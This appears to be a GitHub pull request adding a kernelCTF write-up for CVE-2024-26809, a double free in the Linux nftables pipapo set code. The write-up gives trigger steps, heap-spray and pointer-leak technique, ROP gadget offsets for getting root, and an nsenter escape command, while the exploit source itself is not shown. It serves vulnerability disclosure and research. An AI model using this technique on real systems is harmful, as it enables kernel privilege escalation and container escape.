Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add kernelCTF CVE-2024-26809_lts_cos #137

Open
wants to merge 5 commits into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
156 changes: 156 additions & 0 deletions pocs/linux/kernelctf/CVE-2024-26809_lts_cos/docs/exploit.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,156 @@
# Exploit detail about CVE-2024-26809
If you want to get some base information about CVE-2024-1085, please read [vulnerability.md](./vulnerability.md) first.

## Background
nftables is a netfilter project that aims to replace the existing {ip,ip6,arp,eb}tables framework, providing a new packet filtering framework for {ip,ip6}tables, a new userspace utility (nft) and A compatibility layer. It uses existing hooks, link tracking system, user space queuing component and netfilter logging subsystem.

It consists of three main components: kernel implementation, libnl netlink communication and nftables user space front-end. The kernel provides a netlink configuration interface and runtime rule set evaluation. libnl contains basic functions for communicating with the kernel. The nftables front end is for user interaction through nft.

nftables implements data packet filtering by using some components like `table`, `set`, `chain`, `rule`.


## Cause anaylysis

In the `function nft_pipapo_destroy`, when the set is dirty, it destroys all the set elements in match and clone:
```c
static void nft_pipapo_destroy(const struct nft_ctx *ctx,
const struct nft_set *set)
{
struct nft_pipapo *priv = nft_set_priv(set);
struct nft_pipapo_match *m;
int cpu;

m = rcu_dereference_protected(priv->match, true);
if (m) {
...
nft_set_pipapo_match_destroy(ctx, set, m);
...
}

if (priv->clone) {
m = priv->clone;

if (priv->dirty)
nft_set_pipapo_match_destroy(ctx, set, m);
...
```

But an element may be in match and clone at the same time. Therefore, calling nft_pipapo_destroy when a set is dirty may cause double-free problems.

## Triggering the vulnerability

It's easy to trigger it by following this steps:

- Create a pipapo set A.
- Create an element B in A.
- Create an element C in A.(Make set A dirty.)
- Delete set A. (Here will destroy the element B twice because of CVE-2024-26809.)

By the way, we need to send the command of step 3 and step 4 together.

## Exploit it

The steps for exploiting CVE-2024-26809 and [CVE-2024-1085](https://github.com/google/security-research/blob/master/pocs/linux/kernelctf/CVE-2024-1085_lts/docs/exploit.md) are basically similar.

### Target object caches
Because the `setelem` object size we plan to use is between 0xc0-0x100, our target object cache is `kmalloc-256`

### Exploit detail
I exploit CVE-2024-26809 by following steps:

- 1. Create a pipapo set `A`.
- 2. Create element `B` and element `C` in set `A`.(Two elements are created here because if only one element is created to trigger the vulnerability, the same heap will be released twice in succession, which will cause the kernel to crash in subsequent exploits.)
- 3. Trigger the vulnerability by following messages:

```c
memset(key,0x43,0x40);
msg_list[0] = new_setelem_msg(table, pipapo_set, pad, 0x80, target_obj, key, 0x40, NULL, 0);//Create element D in set A, which will make set A dirty
msg_list[1] = del_set_msg(table, pipapo_set);//Trigger nft_pipapo_destroy
send_msg_list(socket, msg_list, 2);
```
After this we kfree the set element `B` and `C` twice like this:
```c
kfree(element B);
kfree(element C);
kfree(element B);
kfree(element C);
kfree(element D);
```
- 4. Try to alloc the heap of the set element `C` back by creating `nft_table` with `NFTA_TABLE_USERDATA`. Keep allocing heap, and each time you alloc a heap, check whether the heap has been alloced for(confirmed by whether the memory of the already created heap has been modified). After this step, We will find two `nft_table` with the same `udata`. We assume that the two `nft_tables` are `nft_table E` and `nft_table F`.
- 5. Delete `nft_table E`.
- 6. Spray heap to get the heap of `nft_table E->udata`
back. I spray heap by creating set element with `NFTA_SET_ELEM_EXPR` because I want to leak the `ops` pointer of the `nft_expr`.
- 7. Dump `nft_table F`. Now we leak `nft_last_ops`.
- 8. Create another set element `G`. Then dump the `nft_table F` again. We can get the pointer of the set element `G` because each bitmap set element has a doubly linked list.
```c
struct nft_bitmap_elem {
struct list_head head;
struct nft_set_ext ext;
};
```
- 9. Delete set element `G`. Fill the heap memory of set element `G` through heap spraying.
```c
//ops->dump
*(uint64_t *)&pad[0x40] = kernel_off + 0xffffffff810b9f43;//leave ; ret
//ops->type
*(uint64_t *)&pad[0x78] = kernel_off + 0xFFFFFFFF83967420;//last type
spray_tables(socket,0x200, pad, 0x80);
```
- 10. Delete `nft_table F`.
- 11. Fill the heap memory of `nft_table F ->udata` with fake `nft_expr` and ROP gadget.
- 12. Dump the set elements we create in step 5. Finally we will jmp to our ROP gadget.
```c
static int nf_tables_fill_expr_info(struct sk_buff *skb,
const struct nft_expr *expr)
{
if (nla_put_string(skb, NFTA_EXPR_NAME, expr->ops->type->name))
goto nla_put_failure;

if (expr->ops->dump) {
struct nlattr *data = nla_nest_start_noflag(skb,
NFTA_EXPR_DATA);
if (data == NULL)
goto nla_put_failure;
if (expr->ops->dump(skb, expr) < 0) //we hijack RIP here
goto nla_put_failure;
nla_nest_end(skb, data);
}
...

```

### ROP detail

The assembly code when calling expr->ops->dump is as follows:

```
mov rax, [rbp+0]
mov rsi, rbp
mov rdi, rbx
mov rax, [rax+40h]
call __x86_indirect_thunk_rax
```
So the `rbp` is the pointer of the current `nft_expr`. We fill it by following:
```c
...
//build fake setelem
*(uint64_t *)&setelem_data[0x28] = ops_addr; //expr[0]->ops
//start ROP
*(uint64_t *)&setelem_data[0x30] = kernel_off + 0xffffffff8112af10;//pop rdi; ret expr[0]->data
...
```

The first step of ROP start looks like this(We fill the ops pointer in step 8):
```
expr->ops->dump(skb, expr) --> leave ; ret
```
This will finally makes this happen:

```
rsp = element + 0x28 // mov rsp, rbp
rbp = *(element + 0x28) //pop rbp rbp=*(&setelem_data[0x28])
rsp = element + 0x30
rip = *(element + 0x30) //ret rip=*(&setelem_data[0x30])
rsp = element + 0x38
```
After completing the stack migration, we can run ROPgadget and finally get the root shell.
25 changes: 25 additions & 0 deletions pocs/linux/kernelctf/CVE-2024-26809_lts_cos/docs/vulnerability.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,25 @@
# Vulneribility
In function `nft_pipapo_destroy, when the set is dirty, it destroys all the set elements in match and clone, which may cause double-free of the set elements.

## Requirements to trigger the vulnerability
- Capabilities: `CAP_NET_ADMIN` capability is required.
- Kernel configuration: `CONFIG_NETFILTER`, `CONFIG_NF_TABLES`
- Are user namespaces needed?: Yes

## Commit which introduced the vulnerability
- [commit 9827a0e6e23bf43003cd3d5b7fb11baf59a35e1e]((https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/net/netfilter/nft_set_pipapo.c?h=linux-6.1.y&id=9827a0e6e23bf43003cd3d5b7fb11baf59a35e1e))


## Commit which fixed the vulnerability
- [commit b0e256f3dd2ba6532f37c5c22e07cb07a36031ee](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=b0e256f3dd2ba6532f37c5c22e07cb07a36031ee)

## Affected kernel versions
- 6.1-rc1 and later
- 5.15.54 and later

## Affected component, subsystem
- net/netfilter (nf_tables)

## Cause
- UAF

Original file line number Diff line number Diff line change
@@ -0,0 +1,10 @@
exploit:
gcc -o exploit exploit.c -I/usr/include/libnl3 -lnl-nf-3 -lnl-route-3 -lnl-3 -static
prerequisites:
sudo apt-get install libnl-nf-3-dev
run:
./exploit

clean:
rm exploit

Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
Exploit for kctf cos-105-17412.294.34
Run command "nsenter --target 1 -m -p" after run the poc.
Binary file not shown.
Loading
Loading